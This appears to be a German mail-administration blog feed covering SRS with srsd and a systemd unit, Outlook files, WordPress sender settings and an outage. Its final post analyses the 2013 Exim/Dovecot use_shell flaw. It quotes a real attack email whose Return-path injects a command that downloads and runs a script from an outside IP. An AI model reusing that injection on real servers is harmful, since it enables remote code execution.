Das SPF-Problem für Weiterleitungen lösen will SRS, das Sender Rewriting Scheme: der technische Absender der Mail (der Envelope-From) wird geändert, so dass die E-Mail nicht mehr von (im Beispiel) GMX kommt, sondern vom Weiterleitungsserver.

Die E-Mail von irgendwer@gmx.net wird also vom Server postfach.provider.example mit einem Absender wie weiterleitung@postfach.provider.example weitergeschickt. Jetzt kommt die Mail für den letztendlichen Empfänger vom “richtigen” Server, nämlich postfach.provider.example (sie hat ja keinen GMX-Absender mehr!).

Das allerdings ist nur der erste Schritt: Fehlermeldungen (wie zum Beispiel über ein volles Postfach) sollen ja nicht beim Weiterleitungsserver landen, sondern an den ursprünglichen Absender zurückgehen. Dieser muss sich also aus der neu erzeugten Absenderadresse rekonstruieren lassen. Da hilft so etwas wie VERP (Variable envelope return path); statt weiterleitung@postfach.provider.example nehmen wir also weiterleitung+irgendwer=gmx.netg@postfach.provider.example. Da steckt die alte Adresse drin; wir wissen also, wo wir Fehlermeldungen an diese Adresse hinschicken müssen.

Auch das genügt aber noch nicht; denn nur echte Fehlermeldungen sollen an den Absender zurückgehen, nicht aber möglicher Spam, der mit leerem Absender (wie eine Fehlermeldung) an die durch den Weiterleitungsserver erzeugte Absenderadresse geht. Was hinderte einen Spammer, seine unerwünschten Nachrichten an weiterleitung+irgendwer=gmx.netg@postfach.provider.example zu schicken? Und dann senden wir den Mist auch noch an irgendwer@gmx.net weiter! Die von uns erzeugten neuen Absenderadressen müssen also kryptographisch gesichert werden, damit nur wir sie erzeugen können, ein Dritter sie aber nicht erraten kann.

systemd unit file für srds

Und “schon” sind wir beim eigentlichen Thema dieses Eintrags angekommen!

Eine Software, die solche kryptographisch sicheren Absenderadressen erzeugen kann, ist srsd, der auch in Debian als Paket verfügbar ist. Auf meinem alten Server hatte ich das vor Jahren einmal kurzfristig aufsetzen müssen, weil Weiterleitungen (ein simpler Mailverteiler) scheiterten, und diese Lösung wollte ich nunmehr auch auf dem neuen Server haben.

Eine Anleitung für die Konfiguration von Exim 4 mit srsd hat Adrian Zaugg geschrieben; sie setzt allerdings auf ein altes sysvinit-Startup-Script. systemd kann zwar auch damit umgehen; ich hätte aber lieber ein “natives” unit file für systemd gehabt.

Also habe ich mich ein wenig belesen und bin bei folgender Lösung gelandet, die als /lib/systemd/system/srsd.service zu speichern ist:

[Unit]
Description='srsd - SRS daemon'
After=syslog.target

[Service]
Type=simple
User=Debian-exim
Restart=on-failure

ExecStart=/usr/bin/srsd --secretfile /etc/exim4/srsd.secret
ExecStopPost=/bin/rm /tmp/srsd

[Install]
WantedBy=multi-user.target

Dann noch das kryptographische Geheimnis erzeugen (bspw. mit openssl rand -base64 12 > /etc/exim4/srsd.secret), und dann kann es mit systemctl enable srsd und systemctl start srsd losgehen.

Meine Variante der Anbindung an Exim kann ich dann gelegentlich[tm] mal nachliefern.

Was meint die werte Leserschaft?

Ich bin sicher, es geht besser - das war mein erstes unit file, und vieles daran ist aus copy & paste mit nachfolgendem Ausprobieren entstanden. Vielleicht (nein, sogar sicher!) kann ich ja noch etwas von meinen Lesern lernen?

Liste von Windows-Mailservern

nospam@example.com (Thomas Hochstein) — Fri, 04 Aug 2017 05:35:00 +0000

Die bereits bestehende, umfangreiche Liste von Newsservern auf meiner Homepage habe ich jetzt um eine Liste von Windows-Mailservern ergänzt, die sicherlich noch nicht umfassend ist, aber einen ersten Überblick ermöglichen sollte.

Ergänzungen und Korrekturen - und ggf. auch Empfehlungen - können gerne in den Kommentaren erfolgen; ich nehme sie freilich auch per E-Mail gerne entgegen.

Outlook und seine Dateien

nospam@example.com (Thomas Hochstein) — Thu, 03 Mar 2016 06:40:00 +0000

Wer - privat oder beruflich - Outlook nutzt, weiß wahrscheinlich, dass die dort gespeicherten Inhalte - E-Mails, aber auch Kontakte, der Kalender, Aufgaben u.a. - in einer .pst-Datei abgelegt werden, wobei diese Abkürzung für Personal Storage Table steht. Wird Outlook an einem Exchange-Server betrieben, wird man in der Regel auf seinem lokalen Rechner eine .ost-Datei finden, eine Off-line Storage Table, die die auf dem Server gespeicherten Inhalte offline bereitstellt, falls zum Server keine Verbindung besteht.

Das Exportieren der eigenen Daten ist daher auch vergleichsweise leicht: sie lassen sich aus Outlook heraus in eine .pst-Datei exportieren und aus einer solchen auch wieder importieren. Was aber, wenn man eine .pst-Datei ohne Outlook lesen möchte? Oder wenn der Export scheitert, weil - bspw. am Arbeitsplatz - der Zugriff auf .pst-Dateien gesperrt worden ist?

In beiden Fällen helfen Tools. Konvertierungsprogramme von .ost nach .pst finden sich bei Google. Und - bspw. - der PST Viewer von PST Walker Software kann sowohl .pst- als auch .ost-Dateien anzeigen. Weitere Tools können in das und aus dem proprietären .msg-Format konvertieren oder auch E-Mails u.a. als .eml-Dateien speichern.

Winterputz: Newsletter

nospam@example.com (Thomas Hochstein) — Mon, 15 Dec 2014 21:40:00 +0000

“Information overload” ist im Netz kein ganz neues Thema. Dazu gehört auch die Vielzahl von Newslettern und Mailinglisten, die regelmäßig die Inbox verstopft und selten bis nie gelesen wird. Wie schnell ist ein interessant klingender Newsletter abonniert, oder vielleicht ist das Abonnement auch mit der Anmeldung bei einem Dienst verknüpft, und man will dann erst einmal auf dem Laufenden bleiben - abmelden kann man sich ja immer noch. Und will man wirklich das Risiko eingehen, ein interessantes Angebot zu verpassen?

Bereits vor rund zwei Jahren, im Januar 2013, hatte ich mir aber einmal ein Herz gefasst und rund drei Dutzend (!) Newsletter abbestellt. Keinen habe ich seitdem wirklich vermisst, aber natürlich sind etliche geblieben und mittlerweile weitere dazugekommen.

Nun habe ich bereits viele Monate lang beobachtet, dass ich alle (!) eingehenden Newsletter nur noch automatisch oder manuell in den entsprechenden Ordner verschiebe und sie weder zeitnah noch überhaupt je lesen. Insofern erscheint mir der richtige Zeitpunkt gekommen, einmal das letzte Quartal in diesem Ordner durchzugehen und konsequent jeden Newsletter abzubestellen, bei dem ich mir nicht sicher bin, ob ich ihn im kommenden Vierteljahr lesen werde - dann was bringt es, interessante Informationen und Sonderangebote zu erhalten, wenn man ohnehin die ganze Masse nicht liest? Diesmal waren es knapp vier Dutzend (!) Newsletter, die ich ab sofort nicht mehr beziehen werde. Vielleicht erlaubt mir das dann ja, den verbleibenden Rest ab und zu auch einmal wirklich anzuschauen.

(Als nächstes steht dann ein kritischer Blick auf die abonnierten Mailinglisten an, denn auch dort gibt es mehrere, die ich seit Jahren (!) nur noch regelmäßig auf gelesen setze. Wobei in diesem Fall ja wenigstens noch das Argument greift, dass ein lokales Archiv von Supportmailinglisten u.ä. es erlaubt, im Falle eines auftretenden Problems schnell einen Überblick zu gewinnen, was dazu bereits von anderen geschrieben wurde, ein Mehrwert, den Newsletter nicht zu haben pflegen.)

Wordpress: Korrekte E-Mails generieren

nospam@example.com (Thomas Hochstein) — Mon, 08 Dec 2014 05:45:00 +0000

Blogsysteme müssen regelmäßig E-Mails generieren, sei es an den Blogbetreiber, sei es an Kommentatoren: Informationen über neue Kommentare oder Beiträge, mögliche Updates usw. usf. Das erfordert natürlich das Vorhandensein einer (gültigen) E-Mail-Adresse, die als Absender solcher Mails eingesetzt werden kann.

Serendipity macht es sich einfach und überlässt dem Nutzer die Wahl: die “E-Mail-Adresse des Blogs”, blogMail, ist entsprechend in der Konfiguration zu setzen. Das erlaubt dem Nutzer die freie Wahl, erfordert aber umgekehrt natürlich, dass der Nutzer sich darüber Gedanken macht - andererseits: wie soll das anders gehen?

Die Antwort darauf liefert der Konkurrent WordPress, und sie überzeugt mich nicht: auch WordPress verlangt zwar die Angabe einer E-Mail-Adresse “zu administrativen Zwecke”, setzt standardmäßig als Absender aber die Adresse wordpress@example.com, wobei statt example.com die Domain des Blogs steht. Großartig, wenn eine solche Absenderadresse dann nicht existiert. Außerdem setzt WordPress offensichtlich standardmäßig keinen Envelope-Sender, so dass in der Regel der Benutzer, unter dem der Webserver-Prozess läuft, als solcher eingesetzt wird. Auch an diesen “Absender” in der Form www-data@yourhost.example.com kann man allerdings regelmäßig keine Mail schicken …

Abgesehen davon, dass daraus Probleme mit der Auslieferung der E-Mails entstehen können (Stichworte “Verifikation von Absenderadressen” und “Spamfilter”), ist das auch einfach technisch unschön. Wie also lässt sich das abstellen?

Der Mailserver muss dem PHP-Prozess zunächst einmal erlauben, einen Envelope-From (bspw. via sendmail -f blog@example.com) zu setzen.
Wenn man - wie ich - Exim einsetzt, muss der entsprechende Benutzer, unter dem der Webserver läuft, zu trusted_users hinzugefügt werden. Man kann sich dabei stundenlanges Debugging sparen, wenn man rechtzeitig daran denkt, dass man via mod_suphp (oder auf ähnliche Art und Weise) PHP-Scripts nicht unter der User-ID des Webservers, sondern unter derjenigen des Benutzers laufen lässt. Dieser Benutzer - und nicht www-data o.ä. - muss dann auch in trusted_users.
Danach muss man WordPress davon überzeugen, den passenden From:-Header zu setzen.
Das geht über manuelle Änderungen von Konfigurationsdateien oder - einfacher und m.E. auch besser - durch Installation eines passenden Plugins, von denen es eine ganze Reihe gibt. Ich nutze dazu WP JV Custom Email Settings, das mir leichtgewichtig genug erscheint. Stattdessen kann man natürlich auch WP Simple Mail Sender, Personal Email oder etwas ähnliches verwenden, im Extremfall etwas wie WP Mail Options, das den Zugriff auf alle Einstellungen von PHPMailer, dem verwendeten PHP-Modul, eröffnet und insbesondere auch Test-E-Mails generieren kann, was zum Testen ganz praktisch sein mag.
Schließlich muss man in WordPress auch den Envelope-Sender korrekt setzen.
Das kann, soweit ich sehe, nur das Plugin Set email sender.

Danach funktioniert dann auch in WordPress alles so, wie man sich das eigentlich von Anfang an gedacht hätte.

Mailstörung

nospam@example.com (Thomas Hochstein) — Sun, 29 Jun 2014 17:10:00 +0000

Ich weiß, dass man sich keine Illusionen über die Zuverlässigkeit auch - gering - bezahlter Dienste machen soll, und ich weiß auch, dass Service oft ein Zuschussgeschäft ist. Ich bin auch nie davon ausgegangen, dass man bei bekannten Anbietern kostenloser E-Mail-Adressen einen verlässlichen Dienst erwarten kann; auch dann nicht, wenn man dort einen bezahlten Account hat, denn das ist ja im Zweifel dieselbe Technik mit denselbem Personal.

Dennoch hat es mich etwas überrascht, welche Schwierigkeiten ein Anbieter - übrigens ein solcher, der keine kostenlosen Accounts anbietet, sondern schon ein paar Euro pro Monat für ein E-Mail-Postfach verlangt - bei der Beseitigung einer Störung hat. Aufgefallen ist diese Stärung, die sich darin äußerte, dass ein Versuch des Mailabrufs über IMAP/POP3 wie über Webmail in Timeouts lief, mir am 21. Juni; gut, das war ein Wochenende. Da tat sich offenbar auch nicht viel mehr, als dass eine Mitteilung auf der Webseite geschaltet wurde. Danach hat man sich dann um die Fehlerbehebung bemüht; viel getan hat sich aber nicht. Ab und an konnte man mal einige E-Mails erhalten, aber ein richtiger Abruf war nicht möglich. Bis Donnerstag (immerhin der 6. Tag der Störung!); da hat man dann damit begonnen, die Mailboxen umzukopieren. Nachdem ich meinem Client (am Samstag …) beigebracht hatte, dass sich die UIDVALIDITY geändert hatte, funktionierte der Abruf dann immerhin. Tröpfelnd. Pro E-Mail vergingen mehrere Sekunden. Das dauerte. Und dauerte. Und dauerte auch weiter. Auch heute, am Sonntag, dem 29.06.2014 (9. Tag der Störung) war man immer noch an der Arbeit und mit dem Umkopieren von Daten beschäftigt.

Zwar läuft es bei mir, aber ich bin gespannt, wann man die endgültige Störungsbehebung vermelden kann.

Und ich bin nicht beeindruckt.

Nachtrag vom 05.07.2015: Auch am 02.07.2014 - so der letzte Stand - war man weiter mit dem Umkopieren verbleibender Mailboxen beschäftigt …

Vom Advisory zum Exploit binnen eines Tages

nospam@example.com (Thomas Hochstein) — Sun, 05 May 2013 09:29:00 +0000

Am Freitag, dem dritten Mai, wurde ein Warnhinweis (Advisory) auf eine weit verbreitete Fehlkonfiguration in der Kombination von Exim mit Dovecot publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für Exim, mit dem eingehende E-Mails durch den zu Dovecot gehörenden LDA deliver ausgeliefert werden sollen, enthielt auch die Option "use_shell", die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation erläutert:

Not running the command under a shell (by default) lessens the security risks in cases when a command from a user’s filter file is built out of data that was taken from an incoming message. If a shell is required, it can of course be explicitly specified as the command to be run. However, there are circumstances where existing commands (for example, in .forward files) expect to be run under a shell and cannot easily be modified. To allow for these cases, there is an option called use_shell, which changes the way the pipe transport works. Instead of breaking up the command line as just described, it expands it as a single string and passes the result to /bin/sh. The restrict_to_path option and the $pipe_addresses facility cannot be used with use_shell, and the whole mechanism is inherently less secure.

Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA deliver bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar root sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von deliver doch u.a. den Absender der E-Mail, den sog. Envelope-From (oder auch Return-Path), bspw. so: command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address

$sender_address ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option use_shell wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.

Am 02.05.2013 wurde das Beispiel im Wiki für Dovecot 1.x und auch in der Dokumentation für Dovecot 2.x berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.

Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:

Return-path: <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>
Envelope-to: postmaster@greenmeadow.szaf.org
Delivery-date: Sat, 04 May 2013 21:57:19 +0200
Received: from [178.218.211.118] (helo=abcde.com)
    by greenmeadow.szaf.org with esmtp (Exim 4.72)
    (envelope-from <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>)
    id 1UYia4-000387-Es
    for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013 21:57:19 +0200
Subject: test

Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:

wget 178.218.211.118/b -O /tmp/a.pl
bash /tmp/a.pl

Es würde also die Datei b von der Maschine heruntergeladen und in der Datei a.pl im Verzeichnis /tmp gespeichert und dann ausgeführt.

Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nach der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.

(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)